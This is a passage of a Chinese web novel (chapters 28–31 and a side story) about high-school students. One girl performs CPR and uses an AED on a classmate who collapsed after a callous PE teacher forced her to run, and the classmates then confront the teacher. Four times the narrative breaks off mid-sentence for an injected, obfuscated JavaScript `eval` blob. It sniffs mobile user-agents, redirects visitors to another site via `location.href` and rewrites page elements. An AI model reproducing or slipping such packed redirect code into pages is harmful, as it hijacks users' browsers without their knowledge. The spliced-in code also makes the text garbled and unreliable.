沈瑜一句不用谢还没说出口,就被周博承拍了拍肩膀,“走,陪我上厕所去。” “你自己不认路吗?”沈瑜看着周博承一脸疑惑,“出门右转再左转就到了。” “……” 很好,这会又不是喊着我陪你去逛走廊的时候了是吗? 28. 第 28 章 一下午,沈瑜在自己的位置上稳坐如山,时不时还能给张镜于落落讲点题目。 看透一切的于落落笑得高深莫测。 或许是中午的开解起了作用,又或者是午睡后不经意的破冰行动让氛围有所缓和,总之季知节觉得下午的时光要自在一些。 “这题也不难的,主要是把前面几章的东西混合在一起了。”沈瑜用铅笔在于落落的题目上写了几个公式。 余光瞥到几乎要靠到自己桌子身影,沈瑜眼底闪过一丝笑意,稍微放大了点音量,“这个类型的题目有个小技巧……” 自以为神不知鬼不觉的季知节一边偷听一边点头,听完过程之后心满意足地挪了挪凳子,开始解题。 懂了懂了,赚了赚了。 季知节窃喜,殊不知鬼鬼祟祟的动作全落到了几个人眼里。 于落落和张镜对视一眼,十分善良的当做没有发现,至于沈瑜? 他本身就近视啊! 平安无事地度过了一个下午,听着无比悦耳的放学铃声,季知节快乐地收拾好书包,察觉身后的人起身离开,淡淡的洗衣液的气味随风而来,季知节没有抬头,快速而小声:“再见。” 少年停下身形,轻轻回答道:“再见。” 过了半晌,季知节抬头,收拾干净的黄色桌面上突然多了一颗红色蝴蝶结的艾素糖。 背着黑色书包的少年已经迈出了教室,季知节慢吞吞收好糖,瞥了一眼不知何时凑到一起说悄悄话的于落落和张镜,皮笑肉不笑:“收拾好了没?” “好了好了。”于落落搭着张镜的肩膀,挤了挤眼睛,“走吧走吧。” 在犹如沙丁鱼一般的人群中,季知节推着自行车走出校门,在校门口三人挥手告别。 迎着夕阳伴着微风,季知节将踏板踩得飞快,路边的楼房店铺滑出视线,看着路口出现的红灯,季知节缓缓捏住刹车,一只脚撑在地上,松开刹车的手塞进口袋,漂亮的蝴蝶结糖果出现在手上。 拆开包装,蝴蝶结在嘴巴里泛出微微的甜味。 绿灯亮了。 —— 周二是痛并快乐的一天,众所周知,语文连堂不是作文课就是考试。 深受试卷摧残的季知节放学铃响了都没反应过来,倒在桌上哀嚎。 “我好像把‘金石可镂’的‘镂’写错了!”季知节翻找着语文书,“明明背书的时候还留意了的。” “安心安心。”于落落一把拍上语文书,“小测问题不大。” “莉姐说默写错了的要罚抄……”收拾着书包的张嘉欣小声送来噩耗。 “……几遍?”季知节声音颤抖。 “50遍……” “……”于落落小心收回手,“要不然,你现在开始抄?” “抄个毛线。”张镜没好气地拉起坐着的季知节,“吃完饭回来抄。” “我要午睡!” “我一会儿体育课给它抄了。”季知节看着课本发誓,天塌下来都不能不午睡! 被张镜拉起来之后,季知节还不忘和张嘉欣挥手说再见。 就像发过的誓那样,在下午体育课时,季知节蓝白校服口袋里塞着见缝插针抄了十五遍“契而不舍,金石可镂”的本子和笔,然后雄赳赳气昂昂地跟着大部队往操场集合去了。 “还有点不习惯嘞。”于落落扫了一眼在不远处整队的四班,“两个班上课都上习惯了。” “是有点。”闻言季知节也看了一眼四班方阵,“这个老师看着有点凶啊。”而且在季知节的记忆中,四班新来的体育老师明明是个女生。 “张安安怎么也站到方队去了。”张镜看着从从方针在走进去的女孩,一脸疑惑,“她不是身体不好吗?” 四班也发出一阵骚动,但被一声急促的哨声给压下来了,没一会,整个四班的学生都开始热身跑步。 疑惑没有持续太久,周博承开始帮着汪俊整理队列。 “今天没有什么特殊的事情要做,两圈热身之后,自己去练自己的项目吧。”汪俊看着排列整齐的队伍,“有想尝试三级跳和跳高的一会结束之后跟着我和课代表。” “好!” 800米跑得队伍松松散散,抵达终点的时候,队伍已经没有形状了,站在原地的汪俊有些无奈地看着学生们:“你们能不能给点面子啊,跑得什么样子啊?” 说着指了指已经在做热身操的四班,“看看他们,多整齐啊。” 有人光明正大地看了一眼隔壁班,新来的体育老师背着手围着方阵巡视,时不时还吹一下哨子,脸上一丝笑意也无。 “……我们喜欢你呀,俊哥。”有人嘻嘻哈哈道。 “我谢谢你们哦。”汪俊满脸嫌弃,“赶紧的,排队做操。” 在汪俊没好气的眼神里,一个班的人糊弄完热身操,开始自由活动。 季知节和张镜被于落落拉着,一起跟着汪俊往沙池走去,路过四班的时候,四班正在做高抬腿。 季知节有些担忧地在人群中寻找着张安安的身影,女孩站在队列中,背对着跑道,让人看不清正脸,在周围快速地高抬腿中,张安安的动作有些缓慢,但是依旧在十分努力地跟上节奏。 于落落扯了一把走神的季知节,拉着人快步跟上汪俊。 沙池里,周博承当仁不让地站到了起跳的起点位置,周围站了一圈围观的同学。 周博承暗戳戳朝勾肩搭背当的沈瑜陆谦翻了个白眼,站在原地活动身体。 “三级跳看着难,其实不难的哈。”汪俊看着几位报了三级跳的孩子笑得慈祥,“我们先看体委跳一遍。” 周博承向后退留出了助跑的距离,在汪俊喊开始的瞬间变了神色,快速向前助跑,在到达跳板时,以左腿为起跳腿,右腿在空中摆动,在空中做交换腿运动。 旁观的于落落骂了句脏话。 周博承左脚落地后,继续蹬伸,几乎在空中做出了弓箭步的姿势,落地后顺势高抬右腿腿,在一片惊呼中借势就跳到了沙池中。 于落落一脸不可置信,“哪里不难?那家伙刚刚是不是在空中走路了来着,还是快走!” “哇哦。”季知节手掌轻扶额头,作出远眺的姿势,“何止啊,我感觉蹬地那几下,我腿都能断。” 张镜拍上于落落的肩膀,一脸幸灾乐祸:“don''tmind.” “我要去找他理论理论!”于落落撸起袖子就要去寻仇,站在沙坑另一边的沈瑜也收到不少愤愤的目光。 落在沙坑的周博承拍拍身上的沙子,回头看了眼跳远的距离,就要站起身找人炫耀。 “啊——” 一阵刺耳的尖叫划破了操场的天空。 不详的喊叫声让季知节心猛地一跳,发出骚动的人群中,倒在地上的身影如此刺眼。 “嘀——” 季知节的耳朵中再也听不见其他,直冲脑膜的耳鸣声让人精神紧绷,下意识迈出去的步伐越来越快,短短数百米的距离差点犹如天堑。 季知节推开有些混乱的人群,跪倒在女孩身边,双手拍打着张安安的肩膀,用力喊着女孩的名字。 可倒在地上的女孩犹如没有灵魂的娃娃,一动也不动。 “喊救护车!”略有些嘶哑的声音吼着,跟着赶来的汪俊急忙从口袋里掏出手机慌忙拨打120。 “你们干嘛!?”站在一旁的体育老师瞪着突然涌入的人潮,“我们班的事情和你们有什么关系!” “谁跟你是一个班的!”于落落搀扶着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483688|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩抹着眼泪,“都说了安安不舒服,不能剧烈运动……” 季知节略有些颤抖地将手放在女孩静脉搏动处数着脉搏,低下头去感受着口鼻处的呼吸。 丝毫没有逸出的气体让人绝望,季知节忍住手抖,尝试着去解开张安安的衣服。 “你在做什么!”男人察觉季知节的动作,厉声喝止,“你给我放手,救护车要来了。” “闭嘴。”沈瑜挡在男人身前,制止着男人想要往前动动作,“所有的男生都转过去!” 逐渐冷静下来的学生自发转过身,挡在季知节和男人之间,形成了一道坚固的墙。 “你也给我转过去!”陆谦粗声粗气地揽过男人的肩膀,强硬地逼着对方向后转。 看着男人还要反抗,越来越多的人加入了钳制的行列。 “给我老实待着!”带着哭腔的声音响起。 季知节意外地发现自己十分冷静,之前学会的CPR步骤比任何时候都要清晰,找准位置,支起身子,左手掌根在下,右手扣于其上,用力按压。 “周博承,找几个跑得快的,去校医室、行政楼和体育馆器材室那边看看有没有AED,找到了立马给我送回来。” 季知节目光死死盯着张安安苍白的脸,头也不抬的指示道。 “好。”听到声音的周博承飞快出列,不需要指明,几个人飞快跟上周博承,一边跑一边分配地点。 季知节勉力保持着按压的深度,两条手臂已经有些酸痛,但就像感觉不到一般,数着按压次数。 偌大的场地一时只有季知节越加粗粝的喘息声和若有若无的哽咽声。 “李老师和郑老师来了!”有眼尖的同学看到了出现在操场的身影。 张镜气喘吁吁地领着老师赶来,长距离的奔跑让张镜几乎无法说出一句完整的话,只是靠着于落落艰难地呼吸着。 看到班主任赶来,于落落身边的女孩好不容易止住的泪又再次溢出,但又害怕打扰到正在急救的季知节,只得咬住手背,抑制住哭声。 于落落见状温柔地拍着女孩的背,眼神却担忧地看向正跪在地上的季知节。 季知节并不清楚谁来了,只觉得耳边的声音相当模糊,重复地按压、人工呼吸几乎消耗了季知节全部心神。 当张镜冲进办公室时,李化腾是惊讶的,不敢相信一向沉稳的班长居然如此毛躁,但是下一秒就被四班张安安晕倒在操场上的消息摄住了心魂,从办公室拉住四班班主任郑淼,三个人就开始往操场飞奔。 差点以为事情不可挽回的李化腾看着正在急救的季知节勉强松了口气,低声问着旁边的于落落:“怎么样了?” “汪老师打了120,季知节从刚刚就开始做心脏复苏,周博承他们去找AED了。”于落落三言两语解释了场面上的情况,“不知道来不来得及。” “郑老师你给张安安的父母打电话,我给医务室老师打一个。”李化腾看都没看新来的体育老师,对着郑淼安排道。 “好。”郑淼执教才不过几年,也是第一次遇到这样严重的事情,有了指挥就像有了主心骨,慌忙开始打电话。 李化腾的电话还没有拨通,就听见周博承远远喊道,“AED找到了!” 像是触发了什么关键词一般,从刚刚就在埋头做急救的季知节猛然抬头,急切地盯着红色的包裹。 周博承也很快地将仪器送到了季知节手上。 “会用吗?”李化腾蹲下身子,拉开拉链,翻开里面的东西问道。 “会。”季知节头也没抬,“把电源打开,电极片给我。” 接过电极片,季知节准确地将电极片贴上,听到AED发出“不要触碰病人,正在分析”的声音时,季知节塌下了肩膀。 29. 第 29 章 “都散开点,别挡着仪器工作。” 季知节撑着有些发麻的腿,哑声道。 周围的人又往后退了一点,季知节盯着正在分析的仪器,跟着指令及时按下放电的按钮。 电流此刻犹如一道生命线,颤颤巍巍的从躺着的女孩身上流过,看着还是没有反应的张安安,季知节无视双手的酸软,再一次开始按压。 “1、2、3……” “动了!安安睫毛动了!”捂着嘴巴的少女看着地上的女孩轻轻颤动的睫毛,满眼泪花。 “救护车来了!!” 救护车的长鸣响彻校园,穿着白大褂带着担架的医生跳下阶梯,在所有人欢呼的声音中直奔张安安而来。 —— “……”躺在担架上的张安安无力地朝季知节眨了眨眼睛,一抹笑还没有扯出来,就被抬上了救护车,郑淼跟着救护车走了。 季知节咽下喉咙的酸涩,虚脱般跪在地上无力起身。 “知知!” 无数双手伸向季知节,想要扶着女孩起身。 季知节有些颤抖地搭上了张镜伸过来的手,勉力站了起来,一双眼睛通红地看向依旧被男生们压制住的人。 李化腾像是才想起这个人,脸色阴沉得可怕,“林老师,你是不是该解释一下这个事情。” 姓林的男人脸色发白,却还是为自己辩解,“我只是正常上课,我怎么知道她不舒服。” “四班那么多人都知道,三班的我们也知道,再不济你问汪老师。”季知节从牙缝里挤出来一句话,“你凭什么肆意下结论。” “你一个小孩子插什么嘴,有你说话的份吗?”男人像是抓到了什么把柄一般,朝着季知节恶狠狠道,“你们这群小孩子最喜欢就是骗人,尤其是你们这群女的,动不动就说什么肚子疼,谁知道你们是不是在联合起来骗我。” “我是正常教学,是她身体不舒服,关我什么事!” 离谱的话语让所有人炸了锅,李化腾更是脸色难看,正准备开口,就被一声短促的冷笑打断。 “哈!”季知节放开张镜的手,拖着沉重的双腿一步步走到男人面前,面露讥讽。 “你算什么的东西,让我们联合起来骗你。” 女孩少有如此犀利冷漠的时候,一双圆眼一丝笑意也无,单薄的身躯笔直地站在男人面前,却丝毫不见退让。 “你!”像是被目光刺激到一般,男人就要暴起,却再次被压制住,站在一旁的沈瑜一把挡在侧身站在女孩面前,在李化腾看不到的地方朝陆谦使了个眼色。 完美接收信号的陆谦面露凶色,恶狠狠道:“你给我老实点。”脚却在看不到的地方重重踹了一觉男人。 “啊!”男人哀嚎一声,想要转头,“谁踢我!” “!”一圈男生像是打开了新世界的大门,“谁稀罕踢你呀你个垃圾。” 脚下却不放松,又踢又踹的。 季知节看着挡在前方的沈瑜,最终再次向前迈了一步,离开了男孩的保护圈。 看着站到自己身边的季知节,沈瑜仅仅是思索了一秒,就站到了女孩身后,同样目光沉沉地盯着男人。 张镜也站到了季知节身后,于落落和身旁的女孩也跟了上来,借着是张嘉欣、叶珊珊、陆萍、章梓涵、卓文君、梁子笑…… 无论是三班的同学还是四班的同学、无论是男生还是女生,此刻笔直、一往无前、骄傲地站立着。 “别给自己找借口了,这只会让你更失败而已。”季知节盯着男人,“身为老师,你不了解学生的情况还妄加揣测;身为一个人,你看到倒地不起的人第一反应不是打120,甚至还妄图阻止我进行急救;犯了错,你只想逃避不想面对。” “你真的是,从师德到人品无一例外的烂透了。” 季知节只恨自己不会骂人,她不吝用世界上最恶毒的话语来辱骂面前的这个男人。 “就是啊,你上大学的时候专业课老师没教过你怎么做吗?你大学文凭不会是买来的吧?”梁子笑一脸真诚地看着男人,“还这么小肚鸡肠人间败类的,你出门说你是个人都不会觉得耻辱吗?” “……咳咳。”李化腾咳嗽两声,示意众人自己还在。 热血上头的众人才想起来旁边还有教导主任在,顿时冷静,一个个抬头看天看地,就是不看老师。 “那个,汪老师啊,你带着林先生和我一起去办公室吧。其他人还回教室回教室了啊。”李化腾看了眼手表,“三班第三节课数学课自习,张镜看下纪律,四班也回去,老师在的话就上课,不在的话就自习。” 人群逐渐散开,季知节身边跟着于落落和张镜,慢吞吞地往前走着,身后还亦步亦趋跟着诸如沈瑜周博承这样的小尾巴。 看着女孩还在微微颤抖着的手,李化腾发自内心的感谢道:“辛苦你了。” 此刻的他似乎并不只是站在老师的角度说出这句话,沈瑜忽地想起李化腾办公室立着的照片,照片上是年轻版的李化腾和一个带着搞怪墨镜的小女孩,照片定格在两人最灿烂的时刻。 我们都是孩子,我们也有可能成为父母。 季知节不太理解李化腾脸上复杂的神色,却也还是点头回应。 “对了李老师。”周博承走路的动作一顿,眼神飘忽,“那个我们去医务室的时候,校医不在,我们从窗户里看见有AED,就直接把门撞开了……” “做得好。”李化腾微微笑了一下,赞扬了一句,“校医那我去说,要是撞疼了记得说。” 周博承精神一振,洪亮道:“好!” 偌大的操场一时只剩三人,李化腾面无表情的看着男人,“走吧。” 汪俊也假装没看见男人鞋上腿上乱七八糟的脚印,面不改色地带着男人跟着李化腾走。 —— 季知节不知道自己是怎么走出操场,走到教室门口的。 正准备踏入大门时,季知节忽然拽住了张镜和于落落,“我想去卫生间。” “好。”于落落和张镜反手握住女孩的手,目光看向后面的沈瑜,“班上的纪律麻烦你看一下。” “好。”沈瑜看着闷头走在中间的女孩,眼睛里是止不住的担忧,却也只能让人离开。 教室里还是止不住的喧闹,几乎每个人都在义愤填膺地指责、辱骂着,沈瑜在讲台上拍了拍,示意安静。 分贝降了下来,却也还是有着悉悉索索的讨论声,知道无论如何都无法安静下来,点了几个音量有些大的同学,随之放任自流了。 沈瑜看着已经开始刷题的梁子笑,突然低声道:“你骂人还挺厉害的啊,骂得好。” 梁子笑笔尖一顿,抬头看了一眼出现在桌子旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492384|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,真诚道:“谢谢,你也挺阴险的。” 陆谦那一脚真结实啊。 “……”沈瑜眼睛一跳,他果然和这个人合不来。 体育课的闹剧比想象中要久,第三节课已经开始了,走廊上空无一人,路过的教室还有从窗边投射而来的好奇目光、季知节都一无所觉。 校园的卫生间总建在角落,略微有些阴湿的空气刺激着神经。一路上都沉默寡言的季知节不顾干不干净,靠着墙就逐渐滑了下去。 女孩蹲在地上,双手抱住膝盖,有些零散的马尾靠在墙壁上,通红的眼眶终究是被水光浸湿。 在偏僻的角落,在信任的朋友面前,季知节痛哭出声:“为什么,为什么会发生这种事情?为什么?” “我完全不记得会有这种事啊!” “如果……如果我忘了,忘了怎么做急救怎么办?” “我要是做错了怎么办……还是没来得及怎么办……” 话语逐渐破碎,季知节被自己的设想包围,几乎觉得那样的未来近在咫尺。 不明白季知节话语里深切的自责和痛苦从何而来,但两名女孩也都红了眼睛,两个人蹲下围住哭得伤心的姑娘,揽过肩膀,哽咽着安慰。 “没有,你很厉害了,你超棒的。” “你做得很好了。” 无论读过多少书,看过多少电影,会说多少漂亮话,此刻浮现在脑海的、能说出口的,也只有苍白的一句话:你真的已经做得很棒了。 嘿,知道吗? 盯着可怕目光站出来的你很棒,会做、敢去做心脏复苏的你很棒,冷静地去让周博承找AED的你很棒,再累再难受也没有放弃的你真的真的很棒。 所以别怕,我们在。 张镜一遍遍轻拍着女孩的背,于落落无论多少次都重复着说过的话,三个脑袋凑在一起,在小小的角落里,互相取暖。 哭泣声逐渐减小,季知节抽泣着透过泪珠看向两人,悲伤忽然被眼前两个哭得狼狈的人打断。 三个人对视一眼,红肿的眼睛,脸上干一道湿一道的泪痕,红通通的鼻尖,还有张镜变得脏兮兮的眼镜。 “噗嗤。” 三个人不约而同笑出了声。 “你好丑啊。”于落落把手缩进衣袖,拿着袖子就往季知节脸上抹。 “你滚呐。”季知节无力逃脱于落落的荼毒,只能任由布料盖在自己的脸上,但落到脸上的力度却轻的不能再轻。 季知节哼哼一声,借由衣袖的遮掩,慢吞吞道:“其实我差点以为完蛋了,看到AED第一下没起作用的时候,我差点都忘记要继续做CPR了。” 于落落的手一顿,忍住眼睛里又冒出的酸涩感,却不敢开口,生怕忍不住哭音。 “你记得很牢。”张镜低头擦拭着眼睛,声音轻得不能更轻,“安安也醒了。” “嗯……”季知节鼻子又一酸,低声道。 “……我腿麻了。”季知节抱着自己毫无知觉的腿,闷声闷气。 于落落的手一顿,没好气地狠狠捏了一把女孩的脸蛋,“能不能看点氛围!” “……我说实话而已啊。”季知节又想哭了,被冤枉的。 张镜轻轻拍开于落落的手,“就是,我的腿也麻了。” “……行吧。”于落落坦白道,“其实我也。” 30. 番外 我叫张安安,平安的安。 听妈妈说,一开始爸爸是想给我取名叫平安的,但是妈妈坚决反对,毕竟这个名字……额,实在有点年代感,我绝对不是嫌弃爸爸点意思,但是我真的实在感谢妈妈,最终定了安安这个名字。 我从小就知道我和别的小孩不太一样,妈妈不允许我跑跑跳跳,说我身体不好,可我不想就这么待着,所以我趁爸爸妈妈不注意的时候,偷偷和邻居的小孩到处疯玩。 再后来,我睁眼就是医院了。 爸爸妈妈抱着我说吓死他们了,他们眼睛红红的,我也觉得好难受,到处都难受。 我答应了爸爸妈妈我再也不调皮了,但是我得先和我的朋友道个歉,因为她肯定也吓到了。 但是,我没能道歉,她不开门了。 我不明白,我也很难过,但是我听见了妈妈喊我,我不能继续站着,我得走了。 再然后,我就搬家了。 搬到了一个没有小朋友被吓到的地方。 再然后,比起和小朋友玩耍,我喜欢上了看书和晒太阳。 有时候太阳暖暖的,有时候太阳烫烫的,小区里塑料的小马凳子不要随便坐,没有靠背的话,坐久了会很累。在33栋,一个很偏僻的草坪上,有一个孤零零的长凳,我喜欢坐在那,因为没有人会去,凳子还有靠背哦!我可以看很久很久的书,看到太阳回家,我就也可以回家了。 再然后,我长大了。 长时间的独处让我能更容易专注于自己的事情,哪怕爸妈说不要太劳累,我也还是咬着牙考上了一中。 当然,我有注意自己的身体,毕竟我已经长大了。 高中是一个神奇又热闹的地方,比初中热闹。 我不太愿意回想我的初中,不太想记起那些拿着我的病开玩笑、看不惯我从来不跑步不运动的同学,所以我们接着来说高中吧。 高中的军训我依旧没有参加,本来我只打算去一天的,去报个到,但是我看到站着军姿的同学们完全没有在乎我在干嘛。 我觉得有些奇怪,所以我又去了一天。 第二天有人来找我了,是一个女孩,穿着迷彩服,我猜她的衣服尺寸不对,因为她的腰带多出了好多好多。 她问我是不是今天也不用训练。 我害怕她问为什么,但是我还是点了头。 没想到她非常开心,然后神秘兮兮地问,我能不能到处走动。 我想了想,开学时郑老师说的,不舒服可以回班上坐着,这应该就意味着我能到处走吧。 我又点了点头。 结果她更开心了,她抓着我的手臂摇晃,语调拖的非常非常长,但是很可爱。 她问我能不能去便利店买瓶冰可乐。 我同意了,我觉得我可以。 然后我就把冰可乐带回来了,在休息的时候,她喝上了冰可乐。 她抱着我说感谢我,还向其他人炫耀,语调依旧非常长,但是真的,特别可爱。 班上的其他同学也想要,但是我拿不动那么多,也不知道能不能走很多次,所以我说如果他们能接受慢一点的话,我可以多走几次。 但是他们没有,他们开发了一种新玩法,他们石头剪刀布,只有赢的人才能有水喝,这被他们称之为胜利者的荣耀,限量三瓶。 我觉得很有趣,好吧,被需要的感觉让我觉得幸福。 我觉得他们多少肯定是知道了我身体不好,但是他们没说,我也假装不知道好了,嘿嘿。 但是我觉得我可以拿四瓶,第四瓶给陈静怡,陈静怡就是第一个问我能不能买可乐的女孩。 但是她义正严辞地拒绝了我,她说她必不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492385|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能输,她果然好可爱,不过她输了挺多次的,哈哈。 再后来就是上课,知道和三班一起上体育课的时候,我其实也有一点点担心,但是我觉得问题应该不大。 果不其然,其实关注我的人不多,我有一点点容易想太多了。 我也很喜欢汪老师,他总会想方设法带上我,让我录像,让我做裁判…… 真的很有趣。 但是跌宕起伏的,才是生活。 体育课要分班啦,虽然有点舍不得汪老师和三班的小伙伴,但是新的老师会是什么样呢? 是男生还是女生呢?是像汪老师那样年轻还是像李老板那样老呀,会不会也带上我做游戏呢?有点小期待呢。 好像并不会呢。 这个老师有点讨厌。 为什么会觉得我们在骗他呢?明明我是真的不舒服,女孩子们也是真的肚子疼,为什么说话要那么刺耳呢? 我不想跑。 不想动。 但是,他说如果我不跑的话,所有人都得罚跑。 我不想。 我真的真的,很喜欢四班。 我跑了。 其实还好,感觉也不是不能跑哟。 为什么要做这些运动啊,好累。 有点痛。 好像有点不对劲。 啊…… 等我再醒过来的时候,我看到的是……季知节的脸。 我知道她的。 她每天都很开心,热热闹闹的,超级有活力。 她眼睛红红的,她是不是被我吓到了。 对不起啊,我不是故意的。 她是不是救了我。 她好厉害啊,谢谢啊。 但是我好像说不出话了,你要等我回来亲口和你说哟。 一定、一定哦。 31. 第 31 章 三个人步履蹒跚地回到教室时,迎接她们的是犹如英雄凯旋般的待遇。 “季知节回来了!” 季知节从来不知道自己的名字可以出现在这么多句子中。 “季知节你好厉害啊!” “季知节你怎么会心脏复苏啊,帅死了!” “季知节你怎么哭了,是不是被那个傻逼老师气的,我果然应该多踹他几脚!” “呜呜呜呜,季知节你……呜呜呜……” 还有诸如此类有些哽咽,但听上去意义不明的语句。 乱成一锅粥的教室温暖得几乎想要让人流泪,张镜不得不盯着一张哭花了的脸出来维持秩序。 张嘉欣偷偷转过头,朝着回到座位上的季知节比了个大拇指。 季知节失笑。 事情比想象中更严重,救护车的声音瞒不了任何人,整个高一年级组最后一节课都改为了自习。 “我们要不要去看看安安啊?”于落落凑过去戳了戳张镜,低声问道。 “今天可能不方便。”季知节听到声音转过头,“不知道她在哪个医院,而且也不知道她现在情况怎么样。” 张镜:“等明天见到郑老师的时候,我们问一下吧。” 可事情永远赶不上变化,放学铃声响起时,逆着人流,三班教室涌入了一个不太熟悉人影。 然后,站在了季知节面前。 “啊,你是那个……”于落落看着女孩,“体育课那个。” “对。”女孩眼睛也是肿肿的,声音还有点哑,“我叫陈静怡。是安安的好朋友。” “也不是,我觉得我不配说是安安的好朋友。”女孩眼睛突然溢出水光,十分自责,“我……” 季知节慌忙接过从身后递来的手帕纸,抽了一张递给女孩。 就在张镜和于落落安慰陈静怡时,还没走的沈瑜指了指自己的位置,轻声说:“你们坐着聊吧,我们先走了,需要帮忙的话联系我。” 季知节轻轻点头,牵着陈静怡坐到沈瑜的位置上,四名女孩围坐在一起。 “我明明,知道安安不舒服,但是还是,没有站出来和那个人说。”陈静怡捏着纸巾,哽咽道,“而且我还只知道哭,什么都不知道……” “那种人是不会听任何人说话的。”于落落拍着陈静怡的手,安慰道,“不要把错归结到自己身上,哭是正常的啊,你看我们的眼睛。” 确实,四个人凑不出一双不肿的眼睛。 “不懂很正常,所以我们才要学习。”季知节看着逐渐冷静下来的女孩,温声道,“我们不是神仙,做不到全知全能。” “神仙也不能,不然为什么有专司一门的神仙呢。”张镜点头,“别太自责了。” 季知节又抽了张纸,“安安肯定也不想看你这么自责的。” “……安安,”陈静怡抹了抹眼泪,“是个特别特别好的女孩子。” “虽然有点内向,但是笑起来特别好看,还有小酒窝。” “人也特别特别好,记得我们喜欢什么,读过的书也特别特别多。” “但是为什么,要这样子对她啊。” 说着说着,陈静怡鼻子又一酸,女孩疯狂眨眼,把泪意憋了回去,“我,我来找你们,是想问问你们,能不能和我一起去看看安安。” 季知节:“我们是打算明天去的,今天去害怕有点不方便,而且我们也不知道安安现在在哪家医院。” 陈静怡把捏成团的纸巾摊开,“我知道,我偷听到了。” “?”季知节有些惊讶地看了一眼眼前的女孩 “自习课的时候,我本来想去办公室问一下郑老师回来了没有,想问问安安怎么样了。” “然后就听到李老板在办公室骂人,骂了校医,汪老师也被骂了,然后开会的时候我听见了,安安和郑老师在人民医院。” “……”你是偷听了多久啊。于落落赞叹地看向女孩,忍不住道,“既然知道了在哪个医院,要不然就去看一下吧。” 季知节看着面露哀求的女孩,叹了口气,“没那么简单的,即使知道了医院,我们也不知道她现在在哪,按理说在急诊室,但是如果是有病史、且过了这么久,应该已经被送到相应的科室去了,每个科室病房和床号又有许多。” “再加上一般医院会保密患者的消息,我们去问也不一定问得到。” 看着脸色灰败的女孩,季知节有些不忍心,“你为什么这么想今天去?” “……”陈静怡低着头,“我有点害怕。” “但是我们不是医护人员,我们现在过去其实很难起作用。”季知节搭上陈静怡的手,语气认真,“这种时候就要相信医生、相信护士、相信安安。” “……嗯。”一滴泪打在了季知节手上,灼热的温度让人心里发麻,“那我们回家吧。” 陈静怡仰起头,顶着满脸的泪水,扯出了一抹笑,“我回家乖乖等消息。” 季知节知道自己该点头,该夸奖一下女孩的乖巧,但是看着陈静怡那抹勉强的笑,该说话的卡在喉咙里,怎么也说不出来。 “那如果,我们偷偷看一眼呢?”沉默了许久的张镜忽然开口。 季知节动作一顿,看向一脸平静的张镜,没忍住舔了舔有些干涩的嘴唇。 “不需要让安安看见我们,只要我们看见安安就行。” “你只要看见安安没事就能安心了吧。” 张镜看向眼睛里爆发喜色的女孩,询问道。 “对。”陈静怡急忙点头,“就看一眼。” 于落落已经开始计算着坐出租要多久了。 季知节觉得这群人肯定是疯了,但是看着充满希冀的目光,季知节艰难开口:“那我们说好了,只是看一眼而已,不要打扰安安休息,也不要妨碍医护人员工作。” “我们这么乖,怎么会妨碍别人呀。”于落落嬉皮笑脸,想要缓和有些严肃的气氛。 在教室里耽搁许久,出了学校天色已经昏黄了,一行四人坐上出租车,季知节叮嘱道:“你们都和家长说了没有。” “说了说了!”于落落积极响应。 “那我们从哪个科室开始找啊?”张镜拿着手机搜索着医院的平面图。 “住院楼一般是单独的大楼,我们直接去住院部,安安这个情况,我们先从心内科找起吧。”季知节看着自己的双手,想起曾经一度感受不到的心跳,轻声道,“心脏骤停一般都是心率失常引起的,安安的心脏可能不是太好。” 出租车内突然安静下来,心脏的重要性毋庸置疑,这种结论对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497859|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于还年轻着的孩子们太过残忍,季知节佯装轻松,“应该不会那么严重,剧烈运动也会让人心率失常,上升到心脏什么的,太夸张了。” “……” 想起从开学到现在张安安的样子,所有人都知道这不过只是一句宽慰的话。 在一旁听了半天的出租车司机突然开口:“小同学,你们朋友是生病了吗?” “……”季知节看了一眼正在开车的司机,淡淡道:“有点不舒服而已。” “啊。”似乎是反应过来自己的话有些不太吉利,司机讪讪道,“你是打算以后当医生吗,刚刚说的一通话还挺有道理的。” 